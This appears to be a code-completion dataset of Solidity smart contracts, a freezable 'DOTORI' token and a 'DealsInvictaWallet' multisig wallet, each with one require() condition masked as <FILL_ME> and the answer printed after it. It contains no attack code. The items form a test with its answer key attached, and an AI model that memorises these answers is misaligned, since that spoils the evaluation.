require(balance_of[_from] >= _amount);
require(balance_of[_to].add(_amount) >= balance_of[_to]);
require(<FILL_ME>)
uint256 prevBalance = balance_of[_from] + balance_of[_to];
balance_of[_from] -= _amount;
balance_of[_to] += _amount;
assert(balance_of[_from] + balance_of[_to] == prevBalance);
addAddress(_to);
Transfer(_from, _to, _amount);
}
function burn(address _who, uint256 _amount) onlyOwner public returns(bool) {
}
function tokenWalletChange(address newTokenWallet) onlyOwner public returns(bool) {
}
function () payable public {
}
function freezeAddress(
address _who,
uint256 _addTimestamp
) onlyOwner public returns(bool) {
}
function meltAddress(
address _who
) onlyOwner public returns(bool) {
}
}
| checkFreeze(_from)==false | 29,671 | checkFreeze(_from)==false |
null | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract owned {
address public owner;
function owned() public {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
contract BasicToken is owned {
using SafeMath for uint256;
mapping (address => uint256) internal balance_of;
mapping (address => mapping (address => uint256)) internal allowances;
mapping (address => bool) private address_exist;
address[] private address_list;
event Transfer(address indexed from, address indexed to, uint256 value);
function BasicToken() public {
}
function balanceOf(address token_owner) public constant returns (uint balance) {
}
function allowance(
address _hoarder,
address _spender
) public constant returns (uint256) {
}
function approve(address _spender, uint256 _value) public returns (bool) {
}
function getAddressLength() onlyOwner public constant returns (uint) {
}
function getAddressIndex(uint _address_index) onlyOwner public constant returns (address _address) {
}
function getAllAddress() onlyOwner public constant returns (address[]) {
}
function getAddressExist(address _target) public constant returns (bool) {
}
function addAddress(address _target) internal returns(bool) {
}
function transfer(address to, uint256 value) public;
function transferFrom(address _from, address _to, uint256 _amount) public;
}
contract FreezeToken is owned {
mapping (address => uint256) public freezeDateOf;
event Freeze(address indexed _who, uint256 _date);
event Melt(address indexed _who);
function checkFreeze(address _sender) public constant returns (bool) {
}
function freezeTo(address _who, uint256 _date) internal {
}
function meltNow(address _who) internal onlyOwner {
}
}
contract TokenInfo is owned {
using SafeMath for uint256;
address public token_wallet_address;
string public name = "DOTORI";
string public symbol = "DTR";
uint256 public decimals = 18;
uint256 public total_supply = 10000000000 * (10 ** uint256(decimals));
event ChangeTokenName(address indexed who);
event ChangeTokenSymbol(address indexed who);
event ChangeTokenWalletAddress(address indexed from, address indexed to);
event ChangeFreezeTime(uint256 indexed from, uint256 indexed to);
function totalSupply() public constant returns (uint) {
}
function changeTokenName(string newName) onlyOwner public {
}
function changeTokenSymbol(string newSymbol) onlyOwner public {
}
function changeTokenWallet(address newTokenWallet) onlyOwner internal {
}
}
contract Token is owned, FreezeToken, TokenInfo, BasicToken {
using SafeMath for uint256;
event Payable(address indexed who, uint256 eth_amount);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Token (address _owner_address, address _token_wallet_address) public {
}
function transfer(address to, uint256 value) public {
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public {
}
function _transfer(
address _from,
address _to,
uint256 _amount
) private {
}
function burn(address _who, uint256 _amount) onlyOwner public returns(bool) {
require(_amount > 0);
require(<FILL_ME>)
balance_of[_who] -= _amount;
total_supply -= _amount;
Burn(_who, _amount);
return true;
}
function tokenWalletChange(address newTokenWallet) onlyOwner public returns(bool) {
}
function () payable public {
}
function freezeAddress(
address _who,
uint256 _addTimestamp
) onlyOwner public returns(bool) {
}
function meltAddress(
address _who
) onlyOwner public returns(bool) {
}
}
| balanceOf(_who)>=_amount | 29,671 | balanceOf(_who)>=_amount |
null | pragma solidity 0.5.12;
/**
* @author TradeInvicta.
*/
/**
* @title IERC223Token
* @dev ERC223 Contract Interface
*/
contract IERC223Token {
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who)public view returns (uint);
}
/**
* @title ForwarderContract
* @dev Contract that will forward any incoming Ether & token to wallet
*/
contract ForwarderContract {
address payable public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(address forwarderAddress, uint value, address tokenContractAddress);
/**
* @dev Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
}
/**
* @dev Create the contract, and sets the destination address to that of the creator
*/
constructor() public{
}
/**
* @dev Default function; Gets called when Ether is deposited, and forwards it to the parent address.
* Credit eth to contract creator.
*/
function() external payable {
}
/**
* @dev Execute a token transfer of the full balance from the forwarder contract to the parent address
* @param _tokenContractAddress the address of the erc20 token contract
*/
function flushDeposit(address _tokenContractAddress) public onlyParent {
IERC223Token instance = IERC223Token(_tokenContractAddress);
uint forwarderBalance = instance.balanceOf(address(this));
require(forwarderBalance > 0);
require(<FILL_ME>)
emit TokensFlushed(address(this), forwarderBalance, _tokenContractAddress);
}
/**
* @dev Execute a specified token transfer from the forwarder contract to the parent address.
* @param _from the address of the erc20 token contract.
* @param _value the amount of token.
*/
function flushAmountToken(address _from, uint _value) external{
}
/**
* @dev It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the parent address.
*/
function flush() public {
}
}
/**
* @title DealsInvictaWallet
*/
contract DealsInvictaWallet {
address[] public signers;
bool public safeMode;
uint private forwarderCount;
uint private lastNounce;
event Deposited(address from, uint value, bytes data);
event SafeModeActivated(address msgSender);
event SafeModeInActivated(address msgSender);
event ForwarderCreated(address forwarderAddress);
event Transacted(address msgSender, address otherSigner, bytes32 operation, address toAddress, uint value, bytes data);
event TokensTransfer(address tokenContractAddress, uint value);
/**
* @dev Modifier that will execute internal code block only if the
* sender is an authorized signer on this wallet
*/
modifier onlySigner {
}
/**
* @dev Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.
* 2 signers will be required to send a transaction from this wallet.
* Note: The sender is NOT automatically added to the list of signers.
* Signers CANNOT be changed once they are set
* @param allowedSigners An array of signers on the wallet
*/
constructor(address[] memory allowedSigners) public {
}
/**
* @dev Gets called when a transaction is received without calling a method
*/
function() external payable {
}
/**
* @dev Determine if an address is a signer on this wallet
* @param signer address to check
* @return boolean indicating whether address is signer or not
*/
function validateSigner(address signer) public view returns (bool) {
}
/**
* @dev Irrevocably puts contract into safe mode. When in this mode,
* transactions may only be sent to signing addresses.
*/
function activateSafeMode() public onlySigner {
}
/**
* @dev Irrevocably puts out contract into safe mode.
*/
function deactivateSafeMode() public onlySigner {
}
/**
* @dev Generate a new contract (and also address) that forwards deposite to this contract
* returns address of newly created forwarder address
*/
function generateForwarder() public returns (address) {
}
/**
* @dev for return No of forwarder generated.
* @return total number of generated forwarder count.
*/
function totalForwarderCount() public view returns(uint){
}
/**
* @dev Execute a flushDeposit from one of the forwarder addresses.
* @param forwarderAddress the contract address of the forwarder address to flush the tokens from
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushForwarderDeposit(address payable forwarderAddress, address tokenContractAddress) public onlySigner {
}
/**
* @dev Gets the next available nounce for signing when using executeAndConfirm
* @return the nounce one higher than the highest currently stored
*/
function getNonce() public view returns (uint) {
}
/**
* @dev generate the hash for transferMultiSigEther
* same parameter as transferMultiSigEther
* @return the hash generated by parameters
*/
function generateEtherHash(address toAddress, uint value, bytes memory data, uint expireTime, uint nounce)public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature transaction from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nonce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in Wei to be sent
* @param data the data to send to the toAddress when invoking the transaction
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigEther(address payable toAddress, uint value, bytes memory data, uint expireTime, uint nounce, bytes memory signature) public payable onlySigner {
}
/**
* @dev generate the hash for transferMultiSigTokens.
* same parameter as transferMultiSigTokens.
* @return the hash generated by parameters
*/
function generateTokenHash( address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce) public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature token transfer from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nounce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in tokens to be sent
* @param tokenContractAddress the address of the erc20 token contract
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigTokens(address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce, bytes memory signature) public onlySigner {
}
/**
* @dev Gets signer's address using ecrecover
* @param operationHash see Data Formats
* @param signature see Data Formats
* @return address recovered from the signature
*/
function recoverAddressFromSignature(bytes32 operationHash, bytes memory signature) private pure returns (address) {
}
/**
* @dev Verify that the nonce has not been used before and inserts it. Throws if the nonce was not accepted.
* @param nounce to insert into array of stored ids
*/
function validateNonce(uint nounce) private onlySigner {
}
/**
* @dev Do common multisig verification for both eth sends and erc20token transfers
* @param toAddress the destination address to send an outgoing transaction
* @param operationHash see Data Formats
* @param signature see Data Formats
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @return address that has created the signature
*/
function verifyMultiSig(address toAddress, bytes32 operationHash, bytes memory signature, uint expireTime, uint nounce) private returns (address) {
}
}
| instance.transfer(parentAddress,forwarderBalance) | 29,778 | instance.transfer(parentAddress,forwarderBalance) |
"instance error" | pragma solidity 0.5.12;
/**
* @author TradeInvicta.
*/
/**
* @title IERC223Token
* @dev ERC223 Contract Interface
*/
contract IERC223Token {
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who)public view returns (uint);
}
/**
* @title ForwarderContract
* @dev Contract that will forward any incoming Ether & token to wallet
*/
contract ForwarderContract {
address payable public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(address forwarderAddress, uint value, address tokenContractAddress);
/**
* @dev Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
}
/**
* @dev Create the contract, and sets the destination address to that of the creator
*/
constructor() public{
}
/**
* @dev Default function; Gets called when Ether is deposited, and forwards it to the parent address.
* Credit eth to contract creator.
*/
function() external payable {
}
/**
* @dev Execute a token transfer of the full balance from the forwarder contract to the parent address
* @param _tokenContractAddress the address of the erc20 token contract
*/
function flushDeposit(address _tokenContractAddress) public onlyParent {
}
/**
* @dev Execute a specified token transfer from the forwarder contract to the parent address.
* @param _from the address of the erc20 token contract.
* @param _value the amount of token.
*/
function flushAmountToken(address _from, uint _value) external{
require(<FILL_ME>)
}
/**
* @dev It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the parent address.
*/
function flush() public {
}
}
/**
* @title DealsInvictaWallet
*/
contract DealsInvictaWallet {
address[] public signers;
bool public safeMode;
uint private forwarderCount;
uint private lastNounce;
event Deposited(address from, uint value, bytes data);
event SafeModeActivated(address msgSender);
event SafeModeInActivated(address msgSender);
event ForwarderCreated(address forwarderAddress);
event Transacted(address msgSender, address otherSigner, bytes32 operation, address toAddress, uint value, bytes data);
event TokensTransfer(address tokenContractAddress, uint value);
/**
* @dev Modifier that will execute internal code block only if the
* sender is an authorized signer on this wallet
*/
modifier onlySigner {
}
/**
* @dev Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.
* 2 signers will be required to send a transaction from this wallet.
* Note: The sender is NOT automatically added to the list of signers.
* Signers CANNOT be changed once they are set
* @param allowedSigners An array of signers on the wallet
*/
constructor(address[] memory allowedSigners) public {
}
/**
* @dev Gets called when a transaction is received without calling a method
*/
function() external payable {
}
/**
* @dev Determine if an address is a signer on this wallet
* @param signer address to check
* @return boolean indicating whether address is signer or not
*/
function validateSigner(address signer) public view returns (bool) {
}
/**
* @dev Irrevocably puts contract into safe mode. When in this mode,
* transactions may only be sent to signing addresses.
*/
function activateSafeMode() public onlySigner {
}
/**
* @dev Irrevocably puts out contract into safe mode.
*/
function deactivateSafeMode() public onlySigner {
}
/**
* @dev Generate a new contract (and also address) that forwards deposite to this contract
* returns address of newly created forwarder address
*/
function generateForwarder() public returns (address) {
}
/**
* @dev for return No of forwarder generated.
* @return total number of generated forwarder count.
*/
function totalForwarderCount() public view returns(uint){
}
/**
* @dev Execute a flushDeposit from one of the forwarder addresses.
* @param forwarderAddress the contract address of the forwarder address to flush the tokens from
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushForwarderDeposit(address payable forwarderAddress, address tokenContractAddress) public onlySigner {
}
/**
* @dev Gets the next available nounce for signing when using executeAndConfirm
* @return the nounce one higher than the highest currently stored
*/
function getNonce() public view returns (uint) {
}
/**
* @dev generate the hash for transferMultiSigEther
* same parameter as transferMultiSigEther
* @return the hash generated by parameters
*/
function generateEtherHash(address toAddress, uint value, bytes memory data, uint expireTime, uint nounce)public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature transaction from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nonce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in Wei to be sent
* @param data the data to send to the toAddress when invoking the transaction
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigEther(address payable toAddress, uint value, bytes memory data, uint expireTime, uint nounce, bytes memory signature) public payable onlySigner {
}
/**
* @dev generate the hash for transferMultiSigTokens.
* same parameter as transferMultiSigTokens.
* @return the hash generated by parameters
*/
function generateTokenHash( address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce) public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature token transfer from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nounce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in tokens to be sent
* @param tokenContractAddress the address of the erc20 token contract
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigTokens(address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce, bytes memory signature) public onlySigner {
}
/**
* @dev Gets signer's address using ecrecover
* @param operationHash see Data Formats
* @param signature see Data Formats
* @return address recovered from the signature
*/
function recoverAddressFromSignature(bytes32 operationHash, bytes memory signature) private pure returns (address) {
}
/**
* @dev Verify that the nonce has not been used before and inserts it. Throws if the nonce was not accepted.
* @param nounce to insert into array of stored ids
*/
function validateNonce(uint nounce) private onlySigner {
}
/**
* @dev Do common multisig verification for both eth sends and erc20token transfers
* @param toAddress the destination address to send an outgoing transaction
* @param operationHash see Data Formats
* @param signature see Data Formats
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @return address that has created the signature
*/
function verifyMultiSig(address toAddress, bytes32 operationHash, bytes memory signature, uint expireTime, uint nounce) private returns (address) {
}
}
| IERC223Token(_from).transfer(parentAddress,_value),"instance error" | 29,778 | IERC223Token(_from).transfer(parentAddress,_value) |
null | pragma solidity 0.5.12;
/**
* @author TradeInvicta.
*/
/**
* @title IERC223Token
* @dev ERC223 Contract Interface
*/
contract IERC223Token {
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who)public view returns (uint);
}
/**
* @title ForwarderContract
* @dev Contract that will forward any incoming Ether & token to wallet
*/
contract ForwarderContract {
address payable public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(address forwarderAddress, uint value, address tokenContractAddress);
/**
* @dev Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
}
/**
* @dev Create the contract, and sets the destination address to that of the creator
*/
constructor() public{
}
/**
* @dev Default function; Gets called when Ether is deposited, and forwards it to the parent address.
* Credit eth to contract creator.
*/
function() external payable {
}
/**
* @dev Execute a token transfer of the full balance from the forwarder contract to the parent address
* @param _tokenContractAddress the address of the erc20 token contract
*/
function flushDeposit(address _tokenContractAddress) public onlyParent {
}
/**
* @dev Execute a specified token transfer from the forwarder contract to the parent address.
* @param _from the address of the erc20 token contract.
* @param _value the amount of token.
*/
function flushAmountToken(address _from, uint _value) external{
}
/**
* @dev It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the parent address.
*/
function flush() public {
}
}
/**
* @title DealsInvictaWallet
*/
contract DealsInvictaWallet {
address[] public signers;
bool public safeMode;
uint private forwarderCount;
uint private lastNounce;
event Deposited(address from, uint value, bytes data);
event SafeModeActivated(address msgSender);
event SafeModeInActivated(address msgSender);
event ForwarderCreated(address forwarderAddress);
event Transacted(address msgSender, address otherSigner, bytes32 operation, address toAddress, uint value, bytes data);
event TokensTransfer(address tokenContractAddress, uint value);
/**
* @dev Modifier that will execute internal code block only if the
* sender is an authorized signer on this wallet
*/
modifier onlySigner {
require(<FILL_ME>)
_;
}
/**
* @dev Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.
* 2 signers will be required to send a transaction from this wallet.
* Note: The sender is NOT automatically added to the list of signers.
* Signers CANNOT be changed once they are set
* @param allowedSigners An array of signers on the wallet
*/
constructor(address[] memory allowedSigners) public {
}
/**
* @dev Gets called when a transaction is received without calling a method
*/
function() external payable {
}
/**
* @dev Determine if an address is a signer on this wallet
* @param signer address to check
* @return boolean indicating whether address is signer or not
*/
function validateSigner(address signer) public view returns (bool) {
}
/**
* @dev Irrevocably puts contract into safe mode. When in this mode,
* transactions may only be sent to signing addresses.
*/
function activateSafeMode() public onlySigner {
}
/**
* @dev Irrevocably puts out contract into safe mode.
*/
function deactivateSafeMode() public onlySigner {
}
/**
* @dev Generate a new contract (and also address) that forwards deposite to this contract
* returns address of newly created forwarder address
*/
function generateForwarder() public returns (address) {
}
/**
* @dev for return No of forwarder generated.
* @return total number of generated forwarder count.
*/
function totalForwarderCount() public view returns(uint){
}
/**
* @dev Execute a flushDeposit from one of the forwarder addresses.
* @param forwarderAddress the contract address of the forwarder address to flush the tokens from
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushForwarderDeposit(address payable forwarderAddress, address tokenContractAddress) public onlySigner {
}
/**
* @dev Gets the next available nounce for signing when using executeAndConfirm
* @return the nounce one higher than the highest currently stored
*/
function getNonce() public view returns (uint) {
}
/**
* @dev generate the hash for transferMultiSigEther
* same parameter as transferMultiSigEther
* @return the hash generated by parameters
*/
function generateEtherHash(address toAddress, uint value, bytes memory data, uint expireTime, uint nounce)public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature transaction from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nonce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in Wei to be sent
* @param data the data to send to the toAddress when invoking the transaction
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigEther(address payable toAddress, uint value, bytes memory data, uint expireTime, uint nounce, bytes memory signature) public payable onlySigner {
}
/**
* @dev generate the hash for transferMultiSigTokens.
* same parameter as transferMultiSigTokens.
* @return the hash generated by parameters
*/
function generateTokenHash( address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce) public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature token transfer from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nounce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in tokens to be sent
* @param tokenContractAddress the address of the erc20 token contract
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigTokens(address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce, bytes memory signature) public onlySigner {
}
/**
* @dev Gets signer's address using ecrecover
* @param operationHash see Data Formats
* @param signature see Data Formats
* @return address recovered from the signature
*/
function recoverAddressFromSignature(bytes32 operationHash, bytes memory signature) private pure returns (address) {
}
/**
* @dev Verify that the nonce has not been used before and inserts it. Throws if the nonce was not accepted.
* @param nounce to insert into array of stored ids
*/
function validateNonce(uint nounce) private onlySigner {
}
/**
* @dev Do common multisig verification for both eth sends and erc20token transfers
* @param toAddress the destination address to send an outgoing transaction
* @param operationHash see Data Formats
* @param signature see Data Formats
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @return address that has created the signature
*/
function verifyMultiSig(address toAddress, bytes32 operationHash, bytes memory signature, uint expireTime, uint nounce) private returns (address) {
}
}
| validateSigner(msg.sender) | 29,778 | validateSigner(msg.sender) |
null | pragma solidity 0.5.12;
/**
* @author TradeInvicta.
*/
/**
* @title IERC223Token
* @dev ERC223 Contract Interface
*/
contract IERC223Token {
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who)public view returns (uint);
}
/**
* @title ForwarderContract
* @dev Contract that will forward any incoming Ether & token to wallet
*/
contract ForwarderContract {
address payable public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(address forwarderAddress, uint value, address tokenContractAddress);
/**
* @dev Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
}
/**
* @dev Create the contract, and sets the destination address to that of the creator
*/
constructor() public{
}
/**
* @dev Default function; Gets called when Ether is deposited, and forwards it to the parent address.
* Credit eth to contract creator.
*/
function() external payable {
}
/**
* @dev Execute a token transfer of the full balance from the forwarder contract to the parent address
* @param _tokenContractAddress the address of the erc20 token contract
*/
function flushDeposit(address _tokenContractAddress) public onlyParent {
}
/**
* @dev Execute a specified token transfer from the forwarder contract to the parent address.
* @param _from the address of the erc20 token contract.
* @param _value the amount of token.
*/
function flushAmountToken(address _from, uint _value) external{
}
/**
* @dev It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the parent address.
*/
function flush() public {
}
}
/**
* @title DealsInvictaWallet
*/
contract DealsInvictaWallet {
address[] public signers;
bool public safeMode;
uint private forwarderCount;
uint private lastNounce;
event Deposited(address from, uint value, bytes data);
event SafeModeActivated(address msgSender);
event SafeModeInActivated(address msgSender);
event ForwarderCreated(address forwarderAddress);
event Transacted(address msgSender, address otherSigner, bytes32 operation, address toAddress, uint value, bytes data);
event TokensTransfer(address tokenContractAddress, uint value);
/**
* @dev Modifier that will execute internal code block only if the
* sender is an authorized signer on this wallet
*/
modifier onlySigner {
}
/**
* @dev Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.
* 2 signers will be required to send a transaction from this wallet.
* Note: The sender is NOT automatically added to the list of signers.
* Signers CANNOT be changed once they are set
* @param allowedSigners An array of signers on the wallet
*/
constructor(address[] memory allowedSigners) public {
}
/**
* @dev Gets called when a transaction is received without calling a method
*/
function() external payable {
}
/**
* @dev Determine if an address is a signer on this wallet
* @param signer address to check
* @return boolean indicating whether address is signer or not
*/
function validateSigner(address signer) public view returns (bool) {
}
/**
* @dev Irrevocably puts contract into safe mode. When in this mode,
* transactions may only be sent to signing addresses.
*/
function activateSafeMode() public onlySigner {
require(<FILL_ME>)
safeMode = true;
emit SafeModeActivated(msg.sender);
}
/**
* @dev Irrevocably puts out contract into safe mode.
*/
function deactivateSafeMode() public onlySigner {
}
/**
* @dev Generate a new contract (and also address) that forwards deposite to this contract
* returns address of newly created forwarder address
*/
function generateForwarder() public returns (address) {
}
/**
* @dev for return No of forwarder generated.
* @return total number of generated forwarder count.
*/
function totalForwarderCount() public view returns(uint){
}
/**
* @dev Execute a flushDeposit from one of the forwarder addresses.
* @param forwarderAddress the contract address of the forwarder address to flush the tokens from
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushForwarderDeposit(address payable forwarderAddress, address tokenContractAddress) public onlySigner {
}
/**
* @dev Gets the next available nounce for signing when using executeAndConfirm
* @return the nounce one higher than the highest currently stored
*/
function getNonce() public view returns (uint) {
}
/**
* @dev generate the hash for transferMultiSigEther
* same parameter as transferMultiSigEther
* @return the hash generated by parameters
*/
function generateEtherHash(address toAddress, uint value, bytes memory data, uint expireTime, uint nounce)public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature transaction from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nonce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in Wei to be sent
* @param data the data to send to the toAddress when invoking the transaction
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigEther(address payable toAddress, uint value, bytes memory data, uint expireTime, uint nounce, bytes memory signature) public payable onlySigner {
}
/**
* @dev generate the hash for transferMultiSigTokens.
* same parameter as transferMultiSigTokens.
* @return the hash generated by parameters
*/
function generateTokenHash( address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce) public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature token transfer from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nounce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in tokens to be sent
* @param tokenContractAddress the address of the erc20 token contract
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigTokens(address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce, bytes memory signature) public onlySigner {
}
/**
* @dev Gets signer's address using ecrecover
* @param operationHash see Data Formats
* @param signature see Data Formats
* @return address recovered from the signature
*/
function recoverAddressFromSignature(bytes32 operationHash, bytes memory signature) private pure returns (address) {
}
/**
* @dev Verify that the nonce has not been used before and inserts it. Throws if the nonce was not accepted.
* @param nounce to insert into array of stored ids
*/
function validateNonce(uint nounce) private onlySigner {
}
/**
* @dev Do common multisig verification for both eth sends and erc20token transfers
* @param toAddress the destination address to send an outgoing transaction
* @param operationHash see Data Formats
* @param signature see Data Formats
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @return address that has created the signature
*/
function verifyMultiSig(address toAddress, bytes32 operationHash, bytes memory signature, uint expireTime, uint nounce) private returns (address) {
}
}
| !safeMode | 29,778 | !safeMode |
null | pragma solidity 0.5.12;
/**
* @author TradeInvicta.
*/
/**
* @title IERC223Token
* @dev ERC223 Contract Interface
*/
contract IERC223Token {
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who)public view returns (uint);
}
/**
* @title ForwarderContract
* @dev Contract that will forward any incoming Ether & token to wallet
*/
contract ForwarderContract {
address payable public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(address forwarderAddress, uint value, address tokenContractAddress);
/**
* @dev Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
}
/**
* @dev Create the contract, and sets the destination address to that of the creator
*/
constructor() public{
}
/**
* @dev Default function; Gets called when Ether is deposited, and forwards it to the parent address.
* Credit eth to contract creator.
*/
function() external payable {
}
/**
* @dev Execute a token transfer of the full balance from the forwarder contract to the parent address
* @param _tokenContractAddress the address of the erc20 token contract
*/
function flushDeposit(address _tokenContractAddress) public onlyParent {
}
/**
* @dev Execute a specified token transfer from the forwarder contract to the parent address.
* @param _from the address of the erc20 token contract.
* @param _value the amount of token.
*/
function flushAmountToken(address _from, uint _value) external{
}
/**
* @dev It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the parent address.
*/
function flush() public {
}
}
/**
* @title DealsInvictaWallet
*/
contract DealsInvictaWallet {
address[] public signers;
bool public safeMode;
uint private forwarderCount;
uint private lastNounce;
event Deposited(address from, uint value, bytes data);
event SafeModeActivated(address msgSender);
event SafeModeInActivated(address msgSender);
event ForwarderCreated(address forwarderAddress);
event Transacted(address msgSender, address otherSigner, bytes32 operation, address toAddress, uint value, bytes data);
event TokensTransfer(address tokenContractAddress, uint value);
/**
* @dev Modifier that will execute internal code block only if the
* sender is an authorized signer on this wallet
*/
modifier onlySigner {
}
/**
* @dev Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.
* 2 signers will be required to send a transaction from this wallet.
* Note: The sender is NOT automatically added to the list of signers.
* Signers CANNOT be changed once they are set
* @param allowedSigners An array of signers on the wallet
*/
constructor(address[] memory allowedSigners) public {
}
/**
* @dev Gets called when a transaction is received without calling a method
*/
function() external payable {
}
/**
* @dev Determine if an address is a signer on this wallet
* @param signer address to check
* @return boolean indicating whether address is signer or not
*/
function validateSigner(address signer) public view returns (bool) {
}
/**
* @dev Irrevocably puts contract into safe mode. When in this mode,
* transactions may only be sent to signing addresses.
*/
function activateSafeMode() public onlySigner {
}
/**
* @dev Irrevocably puts out contract into safe mode.
*/
function deactivateSafeMode() public onlySigner {
}
/**
* @dev Generate a new contract (and also address) that forwards deposite to this contract
* returns address of newly created forwarder address
*/
function generateForwarder() public returns (address) {
}
/**
* @dev for return No of forwarder generated.
* @return total number of generated forwarder count.
*/
function totalForwarderCount() public view returns(uint){
}
/**
* @dev Execute a flushDeposit from one of the forwarder addresses.
* @param forwarderAddress the contract address of the forwarder address to flush the tokens from
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushForwarderDeposit(address payable forwarderAddress, address tokenContractAddress) public onlySigner {
}
/**
* @dev Gets the next available nounce for signing when using executeAndConfirm
* @return the nounce one higher than the highest currently stored
*/
function getNonce() public view returns (uint) {
}
/**
* @dev generate the hash for transferMultiSigEther
* same parameter as transferMultiSigEther
* @return the hash generated by parameters
*/
function generateEtherHash(address toAddress, uint value, bytes memory data, uint expireTime, uint nounce)public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature transaction from this wallet using 2 signers:
